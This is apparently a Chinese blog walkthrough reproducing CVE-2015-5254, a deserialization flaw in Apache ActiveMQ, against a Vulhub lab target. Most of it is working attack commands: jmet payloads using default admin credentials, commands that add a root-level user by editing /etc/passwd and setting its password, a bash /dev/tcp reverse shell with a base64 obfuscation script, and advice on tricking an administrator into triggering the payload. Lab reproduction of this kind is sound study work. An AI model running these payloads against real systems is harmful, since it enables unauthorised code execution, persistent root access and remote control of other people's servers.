• CVE-2015-5254漏洞复现


    1.漏洞介绍。

    Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务,集群,Spring Framework 等。Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的 Java 消息服务(JMS)ObjectMessage 对象利用该漏洞执行任意代码。

    2.环境介绍。

    复现环境采用kali搭建Vulhub。

    靶机:172.18.0.1:8161

    环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。

    3.漏洞利用。

    3.1漏洞利用过程简述。

    1. 构造(可以使用ysoserial)可执行命令的序列化对象
    2. 作为一个消息,发送给目标61616端口
    3. 访问web管理页面,读取消息,触发漏洞

    3.2具体过程。

    (1)访问web界面并进行登录。

    账号:admin
    密码:admin

     (2)使用jmet进行漏洞利用。

    首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。

    wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
    //下载jar文件
    mkdir external
    //创建external文件夹

    执行命令:

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.18.0.1 61616
    //创建
    /tmp/success,同理可进行其他命令的操作

    我们返回管理界面,发现添加了一个名为事件的队列。

     点击进入

     此时已经触发命令执行,我们进入dockor查看

    docker ps

    docker exec -it b189872443f5  /bin/bash

     可以发现tmp目录已创建,进入发现sucess,漏洞利用成功

    创建一个用户

     java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 Tom" -Yp ROME  172.18.0.1  61616

    触发条件和之前相同,在管理界面去点击队列

     java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/Tom:x:0/g" /etc/passwd" -Yp ROME   172.18.0.1  61616
    //修改权限
     java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "Tom:sd123456" | chpasswd" -Yp ROME   172.18.0.1   61616
    //添加密码

    至此,一个权限为root,密码为123456的用户被我们创建成功,之后可以直接进行ssh远程连接

    或者将命令换为反弹shell再利用:

    bash -i >& /dev/tcp/172.18.0.1/777 0>&1

    使用base64编码payload绕过Java机制

    YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx

    附上base64编码脚本

    复制代码
    import base64
    
    # Sample string to encode
    string = "bash -i >& /dev/tcp/172.18.0.1/777 0>&1"
    
    # Encoding the string
    encoded_string = base64.b64encode(string.encode('utf-8'))
    
    # Printing the encoded string
    print(encoded_string.decode('utf-8'))
    复制代码

    构建pyload

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 172.18.0.1 61616

    使用nc监听端口

     反弹shell成功

     值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

     

  • 相关阅读:
    Python 爬虫入门
    【荣耀内推】2023届荣耀校招开启啦
    天津Java培训机构 Java的发展空间如何?
    【附源码】计算机毕业设计SSM时间管理系统
    智能电表远程抄表在电力系统中的运用分析
    入侵防御系统(IPS)网络安全设备介绍
    手机端出现Z-Fighting现象
    PCS7中如何实现DB块变量的自动上传
    C++-RTTI-运行时类型识别-typeid类型名-dynamic_cast-多继承类型转换-详细分析-Com基础
    关于ubuntu开发环境配置
  • 原文地址:https://www.cnblogs.com/yaolingyu/p/17351202.html